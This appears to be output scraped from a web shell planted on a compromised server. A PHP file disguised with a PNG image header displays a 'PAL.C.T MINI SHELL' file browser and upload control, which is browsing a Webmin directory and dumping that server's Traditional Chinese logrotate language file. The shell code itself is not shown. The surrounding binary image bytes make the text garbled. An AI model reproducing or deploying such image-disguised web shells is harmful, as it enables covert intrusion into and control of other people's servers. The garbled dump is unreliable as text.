php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/logrotate/lang/
upload
files >> //usr/libexec/webmin/logrotate/lang/zh_TW.auto

index_title=日誌文件輪換
index_econf=在系統上找不到日誌輪轉配置文件 $1。也許未安裝logrotate,或者<a href='$2'>模塊配置</a>不正確。
index_ecmd=在系統上找不到日誌輪換程序 $1。可能未安裝,或者<a href='$2'>模塊配置</a>不正確。
index_eversion=使用命令 $1 : $2無法獲得logrotate的版本
index_version=Logrotate版本 $1
index_add=添加新的日誌文件以進行輪換。
index_file=日誌文件
index_period=輪換期
index_post=旋轉後命令
index_none=尚未定義日誌文件。
index_global=編輯全局選項
index_globaldesc=單擊此按鈕以編輯適用於所有日誌文件的設置,並定義日誌的默認值。
index_sched=編輯時間表
index_scheddesc=單擊此按鈕可編輯Cron在其上運行logrotate的計劃,或啟用或禁用它。
index_nocmd=沒有
index_notset=沒有設置
index_return=日誌文件列表
index_force=強制日誌旋轉
index_forcedesc=強制立即輪換所有日誌文件,即使還沒有時間。
index_logrotate=對數旋轉
index_delete=刪除選定的日誌輪換

period_daily=日常
period_weekly=每週
period_monthly=每月一次
period_never=決不
period_bytes=個字節

edit_title1=編輯日誌文件
edit_title2=創建日誌文件
edit_header=輪換的日誌文件詳細信息
edit_file=日誌文件路徑
edit_sched=輪換時間表
edit_rotate=要保留的舊日誌數
edit_compress=壓縮舊的日誌文件?
edit_delaycompress=將壓縮延遲到下一個週期?
edit_copytruncate=截斷日誌文件到位?
edit_ifempty=即使日誌文件為空也要旋轉嗎?
edit_missingok=缺少日誌文件是否丟失?
edit_size=旋轉前的最大尺寸
edit_always=被忽略
edit_minsize=最小旋轉尺寸
edit_nominsize=總是
edit_ext=旋轉文件名的擴展名
edit_dateext=對旋轉文件使用日期擴展名
edit_mail=刪除之前的電子郵件日誌文件?
edit_mailto=是的,解決
edit_mailno=不,不要發電子郵件
edit_mailfl=將文件記錄到電子郵件
edit_mailfirst=剛旋轉的最新
edit_maillast=最舊的將被刪除
edit_create=輪換後重新創建日誌文件?
edit_createas=是,模式為 $1,並由用戶 $2和組 $3擁有
edit_createno=不,不要重新創建
edit_createsame=是,具有舊權限
edit_olddir=存儲舊的旋轉日誌
edit_olddirto=目錄
edit_olddirsame=與日誌文件位於同一目錄
edit_errors=通過電子郵件將錯誤消息發送到
edit_errorsno=沒有人
edit_errorsto=地址或用戶
edit_post=旋轉後運行的命令
edit_pre=旋轉前要運行的命令
edit_default=默認值($1)
edit_sharedscripts=所有文件只運行一次腳本?
edit_now=現在旋轉

global_title=全局選項
global_header=所有日誌文件的默認選項

save_err=保存日誌失敗
save_efile=缺少或無效的日誌文件名
save_esize=最大大小缺失或無效
save_eminsize=最小尺寸缺失或無效
save_erotate=保留的舊日誌的最大數量缺失或無效
save_ecreatemode=缺少或無效的3位或4位八進制創建模式
save_ecreateuser=創建用戶丟失或無效
save_ecreategroup=創作組缺失或無效
save_emust1=輸入創建用戶時必須輸入創建模式
save_emust2=輸入創建組時必須輸入創建用戶
save_eolddirto=舊的輪換日誌缺少目錄或目錄無效
save_eext=旋轉的日誌文件名缺少擴展名
save_emailto=輪換日誌缺少電子郵件地址
save_eerrors=缺少錯誤消息的電子郵件地址
save_epre=旋轉前腳本不能包含<tt>endscript</tt>或<tt>endrotate</tt>行
save_epost=旋轉後腳本不能包含<tt>endscript</tt>或<tt>endrotate</tt>行
save_enofiles=沒有輸入要旋轉的文件

log_modify_sched=更改了日誌輪換Cron作業
log_create_sched=創建日誌輪換Cron作業
log_delete_sched=刪除日誌輪換Cron作業
log_global=修改後的全局選項
log_create=為日誌文件 $1添加了輪換
log_modify=日誌文件 $1的修改後的輪換
log_delete=日誌文件 $1的已刪除輪換
log_delete_logs=已刪除 $1日誌文件的輪換

sched_title=日誌輪換時間表
sched_desc=為了執行使用此模塊配置的日誌輪換,命令 $1必須由Cron定期執行(通常每天)。
sched_runparts=當前,正在從腳本 $1 $2運行日誌輪換命令,並且無法對其進行調整。
sched_sched=日誌旋轉Cron作業
sched_disabled=殘障人士
sched_enabled=已啟用,有時低於 ..
sched_save=更新Cron作業
sched_err=保存輪換時間表失敗
sched_when=運行時間

force_title=強制日誌旋轉
force_doing=強制立即循環所有日誌文件 ..
force_doingone=強制立即輪換一個日誌文件 ..
force_done=..完成。
force_failed=..失敗了!請參閱上面的輸出以了解原因。

delete_err=刪除日誌失敗
delete_enone=未選擇
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`